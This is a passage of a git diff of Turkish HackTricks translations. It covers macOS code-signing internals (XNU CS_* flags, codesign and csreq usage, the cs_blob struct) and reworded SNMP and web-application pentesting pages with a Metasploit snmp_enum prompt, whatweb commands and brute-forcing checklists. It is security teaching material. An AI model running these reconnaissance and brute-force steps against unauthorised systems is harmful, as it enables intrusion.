+Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında, özel slotların sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
+
+* `info.plist`'in hash'i (veya `__TEXT.__info__plist` içindeki).
+* Gereksinimlerin hash'i
+* Kaynak Dizini'nin hash'i (paket içindeki `_CodeSignature/CodeResources` dosyasının hash'i).
+* Uygulamaya özgü (kullanılmayan)
+* Yetkilerin hash'i
+* Sadece DMG kod imzaları
+* DER Yetkileri
+
+## Kod İmzalama Bayrakları
+
+Her işlem, çekirdek tarafından başlatılan ve bazıları **kod imzası** ile geçersiz kılınabilen bir bitmask ile ilişkilidir. Kod imzalamada dahil edilebilecek bu bayraklar [kodda tanımlanmıştır](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
+```c
+/* code signing attributes of a process */
+#define CS_VALID 0x00000001 /* dynamically valid */
+#define CS_ADHOC 0x00000002 /* ad hoc signed */
+#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
+#define CS_INSTALLER 0x00000008 /* has installer entitlement */
+
+#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
+#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
+
+#define CS_HARD 0x00000100 /* don't load invalid pages */
+#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
+#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
+#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
+
+#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
+#define CS_REQUIRE_LV 0x00002000 /* require library validation */
+#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
+#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
+
+#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
+#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
+
+#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
+CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
+
+#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
+#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
+#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
+#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
+
+#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
+#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
+#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
+#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
+#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
+
+#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
+#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
+#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
+#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
+
+#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
+```
+Not edin ki [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) fonksiyonu, yürütme başladığında `CS_EXEC_*` bayraklarını dinamik olarak ekleyebilir.
+
+## Kod İmzası Gereksinimleri
+
+Her uygulama, yürütülebilmesi için **karşılaması gereken** bazı **gereksinimler** saklar. Eğer **uygulama, uygulama tarafından karşılanmayan gereksinimler içeriyorsa**, yürütülmeyecektir (muhtemelen değiştirilmiştir).
+
+Bir ikili dosyanın gereksinimleri, **özel bir dilbilgisi** kullanır; bu, **ifadelerden** oluşan bir akıştır ve `0xfade0c00` sihirli değeri kullanılarak blob'lar olarak kodlanır; **hash'i özel bir kod slotunda** saklanır.
+
+Bir ikili dosyanın gereksinimleri, şu komutla görülebilir:
+
+{% code overflow="wrap" %}
+```bash
+codesign -d -r- /bin/ls
+Executable=/bin/ls
+designated => identifier "com.apple.ls" and anchor apple
+
+codesign -d -r- /Applications/Signal.app/
+Executable=/Applications/Signal.app/Contents/MacOS/Signal
+designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
+```
+{% endcode %}
+
+{% hint style="info" %}
+Bu imzaların sertifika bilgileri, TeamID, ID'ler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın.
+{% endhint %}
+
+Ayrıca, `csreq` aracı kullanarak bazı derlenmiş gereksinimler oluşturmak mümkündür:
+
+{% code overflow="wrap" %}
+```bash
+# Generate compiled requirements
+csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
+
+# Get the compiled bytes
+od -A x -t x1 /tmp/output.csreq
+0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
+0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
+0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
+[...]
+```
+{% endcode %}
+
+Bu bilgilere erişmek ve `Security.framework`'ten bazı API'lerle gereksinimleri oluşturmak veya değiştirmek mümkündür:
+
+#### **Geçerliliği Kontrol Etme**
+
+* **`Sec[Static]CodeCheckValidity`**: SecCodeRef'in gereksinime göre geçerliliğini kontrol eder.
+* **`SecRequirementEvaluate`**: Sertifika bağlamında gereksinimi doğrular.
+* **`SecTaskValidateForRequirement`**: Çalışan bir SecTask'ı `CFString` gereksinimine karşı doğrular.
+
+#### **Kod Gereksinimlerini Oluşturma ve Yönetme**
+
+* **`SecRequirementCreateWithData`:** Gereksinimi temsil eden ikili veriden bir `SecRequirementRef` oluşturur.
+* **`SecRequirementCreateWithString`:** Gereksinimin string ifadesinden bir `SecRequirementRef` oluşturur.
+* **`SecRequirementCopy[Data/String]`**: Bir `SecRequirementRef`'in ikili veri temsilini alır.
+* **`SecRequirementCreateGroup`**: Uygulama grubu üyeliği için bir gereksinim oluşturur.
+
+#### **Kod İmzalama Bilgilerine Erişim**
+
+* **`SecStaticCodeCreateWithPath`**: Kod imzalarını incelemek için bir dosya sistemi yolundan `SecStaticCodeRef` nesnesini başlatır.
+* **`SecCodeCopySigningInformation`**: Bir `SecCodeRef` veya `SecStaticCodeRef`'ten imzalama bilgilerini alır.
+
+#### **Kod Gereksinimlerini Değiştirme**
+
+* **`SecCodeSignerCreate`**: Kod imzalama işlemlerini gerçekleştirmek için bir `SecCodeSignerRef` nesnesi oluşturur.
+* **`SecCodeSignerSetRequirement`**: İmzalama sırasında uygulanacak yeni bir gereksinim belirler.
+* **`SecCodeSignerAddSignature`**: Belirtilen imzalayıcı ile imzalanan koda bir imza ekler.
+
+#### **Gereksinimlerle Kod Doğrulama**
+
+* **`SecStaticCodeCheckValidity`**: Belirtilen gereksinimlere karşı bir statik kod nesnesini doğrular.
+
+#### **Ekstra Kullanışlı API'ler**
+
+* **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRef'ten SecRequirementRef al**
+* **`SecCodeCopyGuestWithAttributes`**: Belirli özelliklere dayanan bir kod nesnesini temsil eden bir `SecCodeRef` oluşturur, sandboxing için kullanışlıdır.
+* **`SecCodeCopyPath`**: Bir `SecCodeRef` ile ilişkili dosya sistemi yolunu alır.
+* **`SecCodeCopySigningIdentifier`**: Bir `SecCodeRef`'ten imzalama tanımlayıcısını (örneğin, Takım ID'si) alır.
+* **`SecCodeGetTypeID`**: `SecCodeRef` nesneleri için tür tanımlayıcısını döndürür.
+* **`SecRequirementGetTypeID`**: Bir `SecRequirementRef`'in CFTypeID'sini alır.
+
+#### **Kod İmzalama Bayrakları ve Sabitleri**
+
+* **`kSecCSDefaultFlags`**: Kod imzalama işlemleri için birçok Security.framework fonksiyonunda kullanılan varsayılan bayraklar.
+* **`kSecCSSigningInformation`**: İmzalama bilgilerinin alınması gerektiğini belirtmek için kullanılan bayrak.
+
+## Kod İmzası Uygulaması
+
+**Kernel**, uygulamanın kodunun çalışmasına izin vermeden önce **kod imzasını kontrol eden** kişidir. Ayrıca, bellekte yeni kod yazmak ve çalıştırmak için bir yol, `mprotect` çağrıldığında `MAP_JIT` bayrağının kötüye kullanılmasıdır. Uygulamanın bunu yapabilmesi için özel bir yetkiye ihtiyacı olduğunu unutmayın.
+
+## `cs_blobs` & `cs_blob`
+
+[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) yapısı, çalışan sürecin üzerindeki yetki hakkında bilgileri içerir. `csb_platform_binary` ayrıca uygulamanın bir platform ikili olup olmadığını bildirir (bu, bu süreçlerin görev portlarına SEND haklarını korumak gibi güvenlik mekanizmalarını uygulamak için işletim sistemi tarafından farklı zamanlarda kontrol edilir).
+```c
+struct cs_blob {
+struct cs_blob *csb_next;
+vnode_t csb_vnode;
+void *csb_ro_addr;
+__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
+cpu_type_t csb_cpu_type;
+cpu_subtype_t csb_cpu_subtype;
+});
+__xnu_struct_group(cs_signer_info, csb_signer_info, {
+unsigned int csb_flags;
+unsigned int csb_signer_type;
+});
+off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
+off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
+off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
+vm_size_t csb_mem_size;
+vm_offset_t csb_mem_offset;
+void *csb_mem_kaddr;
+unsigned char csb_cdhash[CS_CDHASH_LEN];
+const struct cs_hash *csb_hashtype;
+#if CONFIG_SUPPLEMENTAL_SIGNATURES
+unsigned char csb_linkage[CS_CDHASH_LEN];
+const struct cs_hash *csb_linkage_hashtype;
+#endif
+int csb_hash_pageshift;
+int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
+const CS_CodeDirectory *csb_cd;
+const char *csb_teamid;
+#if CONFIG_SUPPLEMENTAL_SIGNATURES
+char *csb_supplement_teamid;
+#endif
+const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
+const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
+
+/*
+* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
+* cs_blob being within RO-memory to prevent modifications on the temporary stack
+* variable used to setup the blob.
+*/
+void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
+
+unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
+__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
+/* The following two will be replaced by the csb_signer_type. */
+unsigned int csb_platform_binary:1;
+unsigned int csb_platform_path:1;
+});
+
+/* Validation category used for TLE */
+unsigned int csb_validation_category;
+
+#if CODE_SIGNING_MONITOR
+void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
+bool csb_csm_managed;
+#endif
+};
+```
+## Referanslar
+
+* [**\*OS İç Yapıları Cilt III**](https://newosxbook.com/home.html)
+
+{% hint style="success" %}
+AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks'i Destekleyin
+
+* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
+* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+
+
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 7fc654b62..eeceee442 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -15,15 +15,15 @@ GCP Hacking'i öğrenin ve pratik yapın:
+
-Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
-**SNMP - Basit Ağ Yönetim Protokolü** ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
+**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@@ -35,7 +35,7 @@ SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunuc
### MIB
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
-MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığıdır.
+MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığıdır.
### OIDs
@@ -43,12 +43,12 @@ MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin fo
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu en üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
-Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ait yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
+Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
-Bir **OID ağacında** **navigasyon** yapmak için buradan web üzerinden gidebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
-[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde yer alan bazı **iyi bilinen OID'ler** bulunmaktadır; bunlar MIB-2 tanımlı Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine atıfta bulunur. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) vardır.
+Bir **OID ağacında** buradan **gezin**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini** görmek için (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresini ziyaret edin.\
+[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde yer alan bazı **iyi bilinen OID'ler** bulunmaktadır; bunlar MIB-2 tarafından tanımlanan Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine atıfta bulunur. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) vardır.
### **OID Örneği**
@@ -71,7 +71,7 @@ Sonraki sayı dizisine geçelim.
* 1452 – bu cihazı üreten organizasyonun adını verir.
* 1 – cihazın türünü açıklar. Bu durumda, bir alarm saatidir.
-* 2 – bu cihazın bir uzaktan terminal birimi olduğunu belirler.
+* 2 – bu cihazın uzaktan terminal birimi olduğunu belirler.
Kalan değerler, cihaz hakkında belirli bilgiler verir.
@@ -90,7 +90,7 @@ SNMP'nin 2 önemli sürümü vardır:
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **trafiği düz metin** içinde gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
-### Topluluk Düzeyleri
+### Topluluk Düzleri
Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
**2 tür topluluk dizesi** vardır:
@@ -101,7 +101,7 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, **her zaman "Sadece Okuma"** olan nesneler de mevcut olabilir.\
Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
-Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
+Sürümler 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
## Portlar
@@ -156,7 +156,7 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
2. Daha spesifik kontrol için erişim şu şekilde verilebilir:
-* **`rwcommunity`** **IPv4** adresleri için, ve
+* **`rwcommunity`** **IPv4** adresleri için ve
* **`rwcommunity6`** **IPv6** adresleri için.
Her iki komut da bir **topluluk dizesi** ve ilgili IP adresi gerektirir, talebin kaynağından bağımsız olarak tam erişim sunar.
@@ -191,7 +191,7 @@ Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** vars
## **Kapsamlı SNMP**
-[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
+[Braa](https://github.com/mteg/braa), kitlesel bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
@@ -241,7 +241,7 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL
* snmpd.conf
* snmp-config.xml
-
+
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index 9c4d41442..64ee39f0a 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın:
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
@@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
-AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -68,7 +68,7 @@ GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın:
+
-**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -49,13 +49,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
* [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
* [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
-* [ ] Çalıştırılacak herhangi bir **özel tarayıcı** var mı (örneğin wpscan)?
+* [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
* [ ] **İlk kontrollerle** başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
-* [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
-* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
-* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın.
-* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
+* [ ] Web sayfasını **örümcekleme** ile başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
+* [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin örümceklenmelidir._
+* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile deneyerek yeni **dosyalar** ve **dizinler** arayın.
+* [ ] _Brute-forcing veya örümcekleme sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced edilmelidir._
* [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
* [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
* [ ] Tüm olası **kullanıcı girişi** kabul eden **uç noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
@@ -63,7 +63,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Sunucu Sürümü (Zayıf mı?)
-### Belirleme
+### Belirle
Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
@@ -73,7 +73,7 @@ whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Search **for** [**web uygulamasının zayıflıkları** **versiyonu**](../../generic-methodologies-and-resources/search-exploits.md)
+Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-methodologies-and-resources/search-exploits.md)
### **Herhangi bir WAF olup olmadığını kontrol et**
@@ -83,7 +83,7 @@ Search **for** [**web uygulamasının zayıflıkları** **versiyonu**](../../gen
### Web teknoloji hileleri
-Farklı iyi bilinen **teknolojilerde zayıflıkları bulmak için bazı hileler**:
+Farklı iyi bilinen **teknolojilerde** **açıkları** bulmak için bazı **hileler**:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@@ -117,19 +117,19 @@ Farklı iyi bilinen **teknolojilerde zayıflıkları bulmak için bazı hileler*
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/)
-_Dikkate almanız gereken, **aynı alanın** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabileceğidir._\
+_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** üzerinde **farklı teknolojiler** kullanıyor olabilir._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutmayın (ve bana bildirin!).
